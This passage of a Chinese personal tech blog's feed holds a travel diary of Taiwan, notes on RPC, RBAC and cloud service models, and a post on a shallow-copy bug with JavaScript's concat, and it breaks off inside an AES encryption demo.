class="keyword">this</span>.sound.setLoop(<span class="literal">true</span>)</span><br><span class="line"> <span class="keyword">this</span>.sound.setVolume(<span class="number">0.5</span>)</span><br><span class="line"> <span class="keyword">this</span>.sound.play()</span><br><span class="line"> <span class="keyword">this</span>.sound.hasPlaybackControl = <span class="literal">true</span></span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> initRace() {</span><br><span class="line"> <span class="keyword">this</span>.createScene()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.createLights()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.createGround()</span><br><span class="line"> <span class="keyword">this</span>.createMountain()</span><br><span class="line"> <span class="keyword">this</span>.createPlayer()</span><br><span class="line"> <span class="keyword">this</span>.createMocas()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.placeClouds()</span><br><span class="line"> <span class="keyword">this</span>.placeBush()</span><br><span class="line"> <span class="comment">// this.placeGolds()</span></span><br><span class="line"> <span class="keyword">this</span>.placeRoadLines()</span><br><span class="line"> <span class="keyword">this</span>.placeBigEvent()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.createAudio()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.camera.lookAt(<span class="keyword">this</span>.player.position)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.loop()</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> destory () {</span><br><span class="line"> <span class="keyword">this</span>.renderer = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.scene = <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> ThreeAnimate</span><br></pre></td></tr></table></figure></p>
<p>监听陀螺仪的:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">window</span>.addEventListener(</span><br><span class="line"> <span class="string">'deviceorientation'</span>,</span><br><span class="line"> <span class="keyword">this</span>.handleMotionChange.bind(<span class="keyword">this</span>),</span><br><span class="line"> <span class="literal">false</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure></p>
<p>更多其他的代码如 websocket 通信、server端处理就不记录了📝。</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>主要是想记录这一段经历,工作之余,有机会和小伙伴们一起参加一个这样比赛,对我来说是件很棒的事情。</p>
<p>中间大家一起经历过(主要是我跟开发GG,哈哈)难受和很失落的时候,但是想到既然来了就要做到最好以及最后比赛的奖品,还是坚持下去了。</p>
<p>嘻嘻,重点当然是最后的奖品啦,ipad pro + ip11 pro max。</p>
<p>超级开心🌹。给小伙伴们打call。</p>
<p><img src="win.jpg" alt="奖品"></p>
]]></content>
<summary type="html">
<blockquote>
<p>这是2020年的第一篇文章,离上次写文章已经过了好长时间了,主要是工作真的很忙。刚刚一个版本转测完,趁周六这个时间,把之前去年觉得有意思的一件事情,想做下总结。</p>
<p>在2019年的9月,公司举办了一场比赛,这个比赛队伍需要为Vans创造出
</summary>
</entry>
<entry>
<title>五月台湾之行</title>
<link href="http://sevencai.github.io/2019/09/19/%E4%BA%94%E6%9C%88%E5%8F%B0%E6%B9%BE%E4%B9%8B%E8%A1%8C/"/>
<id>http://sevencai.github.io/2019/09/19/五月台湾之行/</id>
<published>2019-09-19T13:10:14.000Z</published>
<updated>2020-01-15T08:50:47.000Z</updated>
<content type="html"><![CDATA[<p>现在其实已经是2019年的9月了,拖了4个月写这篇文章,足以表明,这次的台湾之行远不及心里的期待。</p>
<p>下面挑了一些相对影响深刻的图片,记录下来。</p>
<hr>
<h2 id="主角"><a href="#主角" class="headerlink" title="主角"></a>主角</h2><p><code>benny</code> 计划周全(去这)<br><code>jaxon</code> 会认路(走这)<br><code>dongzhi</code> 有钱(cfo)<br><code>seven</code> 找好吃的(买买买)</p>
<hr>
<h2 id="高雄机场"><a href="#高雄机场" class="headerlink" title="高雄机场"></a>高雄机场</h2><p>时常大概1个小时,很快,中间很担心飞机会不会掉进海里,哈哈哈哈哈哈。<br><img src="WechatIMG180.jpeg" alt="飞机上"></p>
<h2 id="恒春小镇"><a href="#恒春小镇" class="headerlink" title="恒春小镇"></a>恒春小镇</h2><p>那里有很多流浪狗,而且是小灰黑狗居多。狗狗很可爱,求摸摸还。<br><img src="WechatIMG181.jpeg" alt="流浪狗"><br>海角七号,据说是某个电影场景,无感。<br><img src="WechatIMG179.jpeg" alt="海角七号"></p>
<h2 id="垦丁大夜街"><a href="#垦丁大夜街" class="headerlink" title="垦丁大夜街"></a>垦丁大夜街</h2><p>不记得吃了啥,反正回来胖了4斤。<code>东志~,付钱~</code>,大概是我说的最多的一句话了。<br><img src="WechatIMG182.jpeg" alt="小吃街"></p>
<h2 id="龙磐草原"><a href="#龙磐草原" class="headerlink" title="龙磐草原"></a>龙磐草原</h2><p>这个海真的很蓝,很美。(嗯,跟我去过的惠州和深圳湾不一样)。<br><img src="WechatIMG187.jpeg" alt="这个角落真的很美了"></p>
<p>我们四个啊,benny真的美呆了。<br><img src="WechatIMG183.jpeg" alt="小伙伴最重要啊"></p>
<h2 id="鹅鸾鼻、东亚之光灯塔"><a href="#鹅鸾鼻、东亚之光灯塔" class="headerlink" title="鹅鸾鼻、东亚之光灯塔"></a>鹅鸾鼻、东亚之光灯塔</h2><p>同行的两个小可爱。<br><img src="WechatIMG197.jpeg" alt="任务"></p>
<h2 id="池上伯朗大道"><a href="#池上伯朗大道" class="headerlink" title="池上伯朗大道"></a>池上伯朗大道</h2><p>是公司了一起去的小伙伴,还有我最爱的小摩托。至今还印象深刻,呼呼的风,感觉自己很自由。(最喜欢的一段)</p>
<p><img src="WechatIMG185.jpeg" alt="找了一张没有自己脸的,胖"></p>
<p>下着小雨,感受绿油油的草地。还有金城武树。<br><img src="WechatIMG199.jpeg" alt="是我最爱的小摩托啊"></p>
<h2 id="海滨公园"><a href="#海滨公园" class="headerlink" title="海滨公园"></a>海滨公园</h2><p>丢了个石头,许愿了妈妈爸爸身体永远健康,家人幸福快乐。<br>在这里给妈妈视频了,下着小雨,老妈说是大海啊。<br><img src="WechatIMG200.jpeg" alt="石头"></p>
<h2 id="平溪放天灯-九份山城"><a href="#平溪放天灯-九份山城" class="headerlink" title="平溪放天灯-九份山城"></a>平溪放天灯-九份山城</h2><p>晚上真的很美,不知道是怎么拍到的这个蓝色。好美。<br><img src="WechatIMG189.jpeg" alt="我们4个到上面去休息了"></p>
<p>夜晚来临之前,在最高点,感受散发最后温暖的阳光。<br><img src="WechatIMG188.jpeg" alt="好看,至今都记得那个阳光"></p>
<h2 id="台北故宫"><a href="#台北故宫" class="headerlink" title="台北故宫"></a>台北故宫</h2><p>不太热爱这种地方,如果一定要去,那我一定需要个有趣的导游。<br><img src="WechatIMG191.jpeg" alt="台北故宫"></p>
<h2 id="咖喱饭"><a href="#咖喱饭" class="headerlink" title="咖喱饭"></a>咖喱饭</h2><p>头有点疼想吐,吃了咖喱饭,70多块钱,旁边的人看着我一个人吃这么多。现在想想当时应该是颅内压增高导致。<br><img src="WechatIMG204.jpeg" alt="脑袋疼,自己去吃饭"></p>
<h2 id="101"><a href="#101" class="headerlink" title="101"></a>101</h2><p>benny和jaxon没上去说去爬山看夜景。我和东志上去了,两个人再塔上嗨歌,大概是邓紫棋的夜里坐着美丽的美梦。头在塔上吹风时不疼了。<br><img src="WechatIMG195.jpeg" alt="101我上去了"></p>
<p>101商圈,都是表演节目的。<br><img src="WechatIMG196.jpeg" alt="101商圈很热闹"></p>
<p>在101的底下买了两个蛋糕,应该是这段旅程的最印象深刻的了。一个很苦,一个很酸。超喜欢。如果以后还有机会去,我应该会再买俩。<br><img src="WechatIMG192.jpeg" alt="很苦很好吃"><br><img src="WechatIMG193.jpeg" alt="很酸很好吃"></p>
<h2 id="宜澜"><a href="#宜澜" class="headerlink" title="宜澜"></a>宜澜</h2><p>下了火车后,到了宜澜,看到了一些墙上的画。<br><img src="WechatIMG201.jpeg" alt="猫"></p>
<h2 id="还有一些没有照片的事情"><a href="#还有一些没有照片的事情" class="headerlink" title="还有一些没有照片的事情"></a>还有一些没有照片的事情</h2><p>东岸火车(火车便当),难吃。🚄一般般。</p>
<p>花莲光复糖厂(咱也不知道为啥要去这个地方,就是一个工厂🏭),去里面走了一圈,吃了个难吃的冰淇淋🍨,偶遇4-5级地震。看到了一个很小很活波的狗狗,原来天底下的小狗都是一样可爱啊。</p>
<hr>
<h2 id="goodbye-台湾"><a href="#goodbye-台湾" class="headerlink" title="goodbye 台湾"></a>goodbye 台湾</h2><p><img src="WechatIMG203.jpeg" alt="台湾"></p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>当我写到这里的时候,我已经对台湾之行改观了,之前大概是路程安排不合理,一部分无聊的景点,以及非常赶的行程,让我不愿意去回忆这段旅程。</p>
<p>但当我写完这段的时候,我已经感觉到了这趟旅途有多好,因为我是跟小伙伴一起去的啊,还有那么多可以说的出来的回忆。</p>
<p>现在打分的话,我可能会会打100分。📚🌲</p>
]]></content>
<summary type="html">
<p>现在其实已经是2019年的9月了,拖了4个月写这篇文章,足以表明,这次的台湾之行远不及心里的期待。</p>
<p>下面挑了一些相对影响深刻的图片,记录下来。</p>
<hr>
<h2 id="主角"><a href="#主角" class="headerlink" titl
</summary>
</entry>
<entry>
<title>8月总结</title>
<link href="http://sevencai.github.io/2019/09/10/8%E6%9C%88%E6%80%BB%E7%BB%93/"/>
<id>http://sevencai.github.io/2019/09/10/8月总结/</id>
<published>2019-09-10T04:07:55.000Z</published>
<updated>2019-09-12T04:06:32.000Z</updated>
<content type="html"><![CDATA[<p>这里想总结下一些概念。</p>
<hr>
<h2 id="什么是RPC?"><a href="#什么是RPC?" class="headerlink" title="什么是RPC?"></a>什么是RPC?</h2><p><strong>RPC(</strong>Remote Procedure Call<strong>)</strong>是指远程过程调用,就是系统和系统之间的调用。</p>
<p>如:支付宝和银行系统是两个不同的系统,如果支付宝要转钱到银行卡中,就涉及到两个系统的之间的调用。</p>
<p><strong>RPC 主要用于解决两个问题</strong>:</p>
<ol>
<li>解决分布式系统中服务之间的调用问题</li>
<li>解决远程调用时,能像本地调用一样方便,让调用者感知不到远程调用的逻辑</li>
</ol>
<p><strong>RPC 远程调用过称如下</strong>:</p>
<ol>
<li>A(client)与B(server)建立TCP连接</li>
<li>A把方法名如 add 以及参数方法 (1,2) 序列化成字节流发送出去</li>
<li>B接受到发送过来的字节流,然后反序列化得到目标方法名,方法参数,并执行相应的方法调用 (add(1,2)) 并把3返回</li>
<li>A接受远程调用结构,输出3</li>
</ol>
<p><strong>RPC 与 REST 有什么区别</strong>?</p>
<ol>
<li>REST 基于HTTP协议, RPC有多种通信方式如HTTP, TCP/IP, 操作系统带的管道等</li>
<li>RPC是面向过程,Restful是面向资源。REST 的协议可能是<code>Get /order?id=123</code>,RPC 的协议可能是<code>/queryOrder?id=123</code></li>
<li>RPC 可以获得更好的性能,比如可能省去了 HTTP 报头等内容</li>
</ol>
<hr>
<h2 id="几个性能指标"><a href="#几个性能指标" class="headerlink" title="几个性能指标"></a>几个性能指标</h2><ol>
<li>吞吐量:每秒钟处理的请求和事务数</li>
<li>延时:请求的处理延时</li>
<li>成功率、稳定性</li>
<li>系统资源、CPU、内存、磁盘、网络的负载情况</li>
</ol>
<hr>
<h2 id="持续集成、持续部署、持续交付"><a href="#持续集成、持续部署、持续交付" class="headerlink" title="持续集成、持续部署、持续交付"></a>持续集成、持续部署、持续交付</h2><ol>
<li>CI:持续集成(CONTINUOUS INTEGRATION)</li>
<li>CD:持续部署(CONTINUOUS DEPLOYMENT)</li>
<li>CD:持续交付(CONTINUOUS DELIVERY)</li>
</ol>
<hr>
<h2 id="URL-和-URI-的关系"><a href="#URL-和-URI-的关系" class="headerlink" title="URL 和 URI 的关系"></a>URL 和 URI 的关系</h2><ol>
<li>统一资源<strong>标志符</strong>URI就是在某一规则下能把一个资源独一无二地标识出来,像人的身份证一样。所以叫做标识符</li>
<li>统一资源<strong>定位符</strong>URL就是通过某系一列的查找,能查到某个资源,比如 人类住址协议://深圳/南山区/南山文体中心/座位号FO4125</li>
</ol>
<p>所以URL这个字符串也同样标识出了唯一的一个人,起到了URI的作用。因此<strong>URL是URI的子集</strong>。</p>
<p>因此<code>https://www.xxxx.com/question/id</code>这个叫做URL。</p>
<hr>
<h2 id="几个内核技术名词"><a href="#几个内核技术名词" class="headerlink" title="几个内核技术名词"></a>几个内核技术名词</h2><blockquote>
<p>浏览器内核分为两部分:渲染引擎<code>(render engin)</code>、js引擎<code>(js engin)</code><br>渲染引擎:负责对网页语法的解释<code>(HTML、XML)</code>,并渲染(显示)网页<br>js引擎:负责<code>javaScript</code>的解释、编译、执行</p>
</blockquote>
<p><strong>小程序的<code>Javascript</code>运行环境</strong>:</p>
<ol>
<li>在 <code>iOS</code> 上, 小程序的 <code>Javascript</code> 代码运行在 <code>JavascriptCore</code> 中</li>
<li>在 <code>Android</code> 上,小程序的 <code>Javascript</code> 代码通过 <code>X5</code> 内核解析</li>
<li>在 开发者工具上,小程序的 <code>Javascript</code> 代码运行在 <code>nwjs</code> 中</li>
</ol>
<p><strong>关于<code>JavascriptCore</code></strong>:<br><code>Webkit</code>由苹果开发->后苹果在其之上开发成为了<code>JavaScriptCore</code>。</p>
<p><code>JavascriptCore</code> = <code>WebKit</code> 的 <code>JavaScript</code> 引擎用 <code>Objective-C</code> 封装,提供了简单,快速以及安全的方式接入世界上最流行的语言。</p>
<p><strong>关于 X5 内核</strong>:<br><code>X5</code> 内核,是<code>Tencent</code>自己的浏览器解析内核。比如安卓微信上,就是用的X5内核,再比如QQ浏览器。</p>
<p><strong>关于<code>NW.JS</code></strong>:<br>NW.js (原名 <code>node-webkit</code>)是一个基于 Chromium 和 node.js 的应用运行时,通过它可以用 HTML 和 JavaScript 编写<strong>原生应用程序</strong>。它还允许您从 DOM 调用 Node.js 的模块 ,实现了一个用所有 Web 技术来写原生应用程序的新的开发模式。</p>
<p><strong>几个常用的浏览器内核</strong>:<br>Trident(IE)、Gecko(FireFox)、Webkit/JavascriptCore(Safari)、blink(Chrome)<br><code>Webkit</code>苹果开发->后被<code>chrome</code>复制并独立运作成<code>blink</code>,成为<code>chrome</code>的内核。</p>
<hr>
<h2 id="RBAC模型"><a href="#RBAC模型" class="headerlink" title="RBAC模型"></a>RBAC模型</h2><p>RBAC(Role-Based Access Control)即:基于角色的权限控制。通过角色关联用户,角色关联权限的方式间接赋予用户权限。</p>
<p>看了<a href="https://juejin.im/entry/5d79b2b3f265da03bc12a5fa" target="_blank" rel="noopener">这篇文章</a>,才了解到之前工作项目里用的是 RBAC0 中的:用户和角色是多对一关系,即:一个用户只充当一种角色,一种角色可以有多个用户担当。</p>
<p><strong>一个基本的用户权限系统,开始就要从下面两个方向去考虑</strong>:</p>
<ol>
<li>确认角色管理列表,可以快速创建一个角色,并且创建角色的同事可以为角色配置权限。</li>
<li>确认用户管理列表,再用户管理列表中可以快速添加一个用户,并且为其关联好相关的角色。</li>
</ol>
<p>文章里,还有个用户组的概念,我觉得以后可以用到:</p>
<blockquote>
<p>当平台用户基数增大,角色类型增多时,如果直接给用户配角色,管理员的工作量就会很大。这时候我们可以引入一个概念“用户组”,就是将相同属性的用户归类到一起。</p>
</blockquote>
<hr>
<h2 id="IaaS、PaaS、SaaS"><a href="#IaaS、PaaS、SaaS" class="headerlink" title="IaaS、PaaS、SaaS"></a>IaaS、PaaS、SaaS</h2><ol>
<li>IaaS(Infrastructure as a Service),基础架构服务</li>
<li>PaaS(Platform-as-a-service),平台服务</li>
<li>SaaS(Software-as-a-service),软件服务</li>
</ol>
<p>看了一些资料,<a href="https://www.zhihu.com/question/20387284" target="_blank" rel="noopener">知乎上有比较多的回答-John Wang</a>,这里记录下最好理解的答案:</p>
<blockquote>
<p>如果你是一个网站站长,想要建立一个网站。不采用云服务,你所需要的投入大概是:买服务器,安装服务器软件,编写网站程序。现在你追随潮流,采用流行的云计算。</p>
<p>如果你采用IaaS服务,那么意味着你就不用自己买服务器了,随便在哪家购买虚拟机,但是还是需要自己装服务器软件</p>
<p>如果你采用PaaS的服务,那么意味着你既不需要买服务器,也不需要自己装服务器软件,只需要自己开发网站程序</p>
<p>如果你再进一步,购买某些在线论坛或者在线网店的服务,这意味着你也不用自己开发网站程序,只需要使用它们开发好的程序,而且他们会负责程序的升级、维护、增加服务器等,而你只需要专心运营即可,此即为SaaS。</p>
</blockquote>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>主要是对一些比较模糊的概念,进行了下记录。希望自己能多了解写后台的知识,对别人在做的事情有认识,成为虽然可能不熟悉,但是可以很愉快沟通的人。📚🌲</p>
]]></content>
<summary type="html">
<p>这里想总结下一些概念。</p>
<hr>
<h2 id="什么是RPC?"><a href="#什么是RPC?" class="headerlink" title="什么是RPC?"></a>什么是RPC?</h2><p><strong>RPC(</strong>Remot
</summary>
</entry>
<entry>
<title>concat引发的血案</title>
<link href="http://sevencai.github.io/2019/08/18/concat%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88/"/>
<id>http://sevencai.github.io/2019/08/18/concat引发的血案/</id>
<published>2019-08-18T07:30:05.000Z</published>
<updated>2019-08-19T08:40:38.000Z</updated>
<content type="html"><![CDATA[<p>之前对从<code>concat</code>的印象很好,因为<code>concat</code>方法不会更改现有数组,而是返回一个新数组。就潜意识认为<code>concat</code>是个很好的方法,原数组跟新数组并没有直接关系,互相不会影响。</p>
<p>直到上个星期五,同事离职后,交接给我一个项目和一个bug,他走之前把问题解决了,但是却没有找到为什么会出问题。我担心还有别的代码有这个问题。还是决定抽点时间看。</p>
<p>他具体的代码非常复杂,我还是定位了很久,现在抽象出简单的例子出来:</p>
<hr>
<h2 id="复现问题"><a href="#复现问题" class="headerlink" title="复现问题"></a>复现问题</h2><p>下面这个例子中,发现再次使用 all 时,竟然 all 的值变了:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> users = [</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'barney'</span>, <span class="attr">age</span>: <span class="number">36</span>, <span class="attr">active</span>: <span class="literal">true</span>, <span class="attr">children</span>: {<span class="attr">a</span>:<span class="number">1</span>} },</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'fred'</span>, <span class="attr">age</span>: <span class="number">40</span>, <span class="attr">active</span>: <span class="literal">false</span> },</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'travis'</span>, <span class="attr">age</span>: <span class="number">37</span>, <span class="attr">active</span>: <span class="literal">true</span>}</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> users1 = [</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'seven'</span>, <span class="attr">age</span>: <span class="number">24</span>, <span class="attr">active</span>: <span class="literal">true</span>}</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> allUsers = users.concat(users1)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 利用all去做别的事情....</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 后续代码去更改 users1</span></span><br><span class="line"><span class="keyword">var</span> seven = _.find(users1, { <span class="attr">user</span>: <span class="string">'seven'</span> })</span><br><span class="line"></span><br><span class="line">seven.age = <span class="number">38</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(allUsers)</span><br></pre></td></tr></table></figure></p>
<p>其实这个是不符合我们预期的,因为我们后面只是更改了 seven,并且还是 users1 的 seven, 竟然导致后面我们再使用的时候,all发生了变化。</p>
<p>这种问题,在代码非常大的项目里,是很难去定位的。最终改为使用 lodash 去 clone 可以解决问题。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> users = [</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'barney'</span>, <span class="attr">age</span>: <span class="number">36</span>, <span class="attr">active</span>: <span class="literal">true</span>, <span class="attr">children</span>: {<span class="attr">a</span>:<span class="number">1</span>} },</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'fred'</span>, <span class="attr">age</span>: <span class="number">40</span>, <span class="attr">active</span>: <span class="literal">false</span> },</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'travis'</span>, <span class="attr">age</span>: <span class="number">37</span>, <span class="attr">active</span>: <span class="literal">true</span>}</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> users1 = [</span><br><span class="line"> { <span class="attr">user</span>: <span class="string">'seven'</span>, <span class="attr">age</span>: <span class="number">24</span>, <span class="attr">active</span>: <span class="literal">true</span>}</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> allUsers = users.concat(users1)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> index = _.findIndex(users1, { <span class="attr">user</span>: <span class="string">'seven'</span> })</span><br><span class="line"><span class="keyword">var</span> seven = _.clone(users1[index])</span><br><span class="line"></span><br><span class="line">seven.age = <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// all 不受影响</span></span><br><span class="line"><span class="built_in">console</span>.log(allUsers)</span><br></pre></td></tr></table></figure>
<p>之所以会造成这个的原因是:<strong><code>concat</code>内的值如果是对象引用(而不是实际对象),<code>concat</code>将对象引用复制到新数组中。 原始数组和新数组都引用相同的对象。 也就是说,如果引用的对象被修改,则更改对于新数组和原始数组都是可见的。 这包括也是数组的数组参数的元素。</strong></p>
<p>使用 <code>clone</code> 后,相当于分配了一块新的内存给新的对象,并不会影响到原来 <code>users1</code> 的值,因此也不会影响到 <code>allUsers</code>。</p>
<hr>
<h2 id="数据类型为基础类型的-concat"><a href="#数据类型为基础类型的-concat" class="headerlink" title="数据类型为基础类型的 concat"></a>数据类型为基础类型的 concat</h2><p><strong>如果是数据类型如字符串,数字和布尔(不是String,Number 和 Boolean 对象)</strong>:concat将字符串和数字的值复制到新数组中。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> array1 = [<span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>];</span><br><span class="line"><span class="keyword">var</span> array2 = [<span class="string">'d'</span>, <span class="string">'e'</span>, <span class="string">'f'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> newArr = array1.concat(array2)</span><br><span class="line"></span><br><span class="line">newArr[<span class="number">0</span>] = <span class="string">'j'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// array1不受影响</span></span><br><span class="line"><span class="built_in">console</span>.log(array1)</span><br></pre></td></tr></table></figure>
<p>这一点非常像基本类型和引用类型的特性。</p>
<blockquote>
<p>number、string、boolean、null和undefined型数据都是值类型。 由于值类型数据占据的空间都是固定的,所以可以把它们存储在狭窄的内存栈区。这种存储方式更方便计算机进行查找和操作,所以执行速度会非常快。</p>
</blockquote>
<p>基础类型的值在从一个变量向另一个变量赋值基本类型时,会在该变量上创建一个新值,然后再把该值复制到为新变量分配的位置上。</p>
<p>关于引用类型和基本类型可以参考<a href="https://sevencai.github.io/2016/02/13/JavaScript%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E2%80%93%E5%9F%BA%E6%9C%AC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B/">我之前写的一篇文章</a></p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>首先确实是我们对<code>concat</code>了解的太理所当然了。这也提示了我们上面这种有太多不确定性,当你确认自己不想更改原数组的值的时候,就千万不要用<code>concat</code>,因为后续你不小心一个赋值,可能就导致了一个<code>bug</code>。</p>
<p>以下总结来自 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/concat" target="_blank" rel="noopener">MDN</a>,其实别人已经写的很清楚了,是我们自己对他了解的太少。</p>
<blockquote>
<p>concat方法创建一个新的数组,它由被调用的对象中的元素组成,每个参数的顺序依次是该参数的元素(如果参数是数组)或参数本身(如果参数不是数组)。<strong>它不会递归到嵌套数组参数中</strong>。</p>
<p><code>concat</code>方法不会改变<code>this</code>或任何作为参数提供的数组,而是返回一个<strong>浅拷贝</strong>,它包含与原始数组相结合的<strong>相同元素的副本</strong>。 原始数组的元素将<strong>复制</strong>到新数组中,如下所示:</p>
<p><strong>如果是对象引用(而不是实际对象)</strong>:concat将对象引用复制到新数组中。 原始数组和新数组都引用相同的对象。 也就是说,如果引用的对象被修改,则更改对于新数组和原始数组都是可见的。 这包括也是数组的数组参数的元素。</p>
<p><strong>如果是数据类型如字符串,数字和布尔(不是String,Number 和 Boolean 对象)</strong>:concat将字符串和数字的值复制到新数组中。</p>
</blockquote>
]]></content>
<summary type="html">
<p>之前对从<code>concat</code>的印象很好,因为<code>concat</code>方法不会更改现有数组,而是返回一个新数组。就潜意识认为<code>concat</code>是个很好的方法,原数组跟新数组并没有直接关系,互相不会影响。</p>
<p>直到上
</summary>
<category term="Javascript" scheme="http://sevencai.github.io/tags/Javascript/"/>
</entry>
<entry>
<title>5月笔记</title>
<link href="http://sevencai.github.io/2019/05/27/5%E6%9C%88%E7%AC%94%E8%AE%B0/"/>
<id>http://sevencai.github.io/2019/05/27/5月笔记/</id>
<published>2019-05-27T11:56:22.000Z</published>
<updated>2019-05-28T12:06:25.000Z</updated>
<content type="html"><![CDATA[<blockquote>
<p>你今年30岁 那么如果你利用业务时间学英语 那么5年也就是你35岁时 你可能就可以成为一个说英文很流利的人🌹</p>
<p>永远不要被时间限制住自己 尽你自己最大的努力 努力做成你最想做的那件事 成为你最想成为的那种人 过着你最想过的那种生活 💳</p>
<p>也许我们始终都只是一个小人物 但这并不妨碍我们选择用什么样的方式活下去 这个世界永远比你想的要更精彩 📚🌲</p>
</blockquote>
<p>之所以写上面这段鸡汤,完全是为了避免字数太少,导致主页摘要不出现代码行号的情况。请忽略~</p>
<hr>
<h2 id="js对称加密算法"><a href="#js对称加密算法" class="headerlink" title="js对称加密算法"></a>js对称加密算法</h2><p>最近有用到 js 的对称加密的算法来解决一些简单的数据库字段加密问题。简单的 demo 如下:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">'crypto'</span>)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Aes</span> </span>{</span><br><span class="line"> <span class="comment">// 此处4个参数可以改成由外部传入</span></span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="keyword">this</span>.key = <span class="string">'xxxxxx'</span></span><br><span class="line"> <span class="keyword">this</span>.algorithm = <span class="string">'aes256'</span></span><br><span class="line"> <span class="keyword">this</span>.inputEncoding = <span class="string">'utf8'</span></span><br><span class="line"> <span class="keyword">this</span>.outputEncoding = <span class="string">'hex'</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * encrypt 加密</span></span><br><span class="line"><span class="comment"> * @param data</span></span><br><span class="line"><span class="comment"> * @returns {string}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> encrypt(data) {</span><br><span class="line"> <span class="keyword">let</span> { algorithm, inputEncoding, outputEncoding, key } = <span 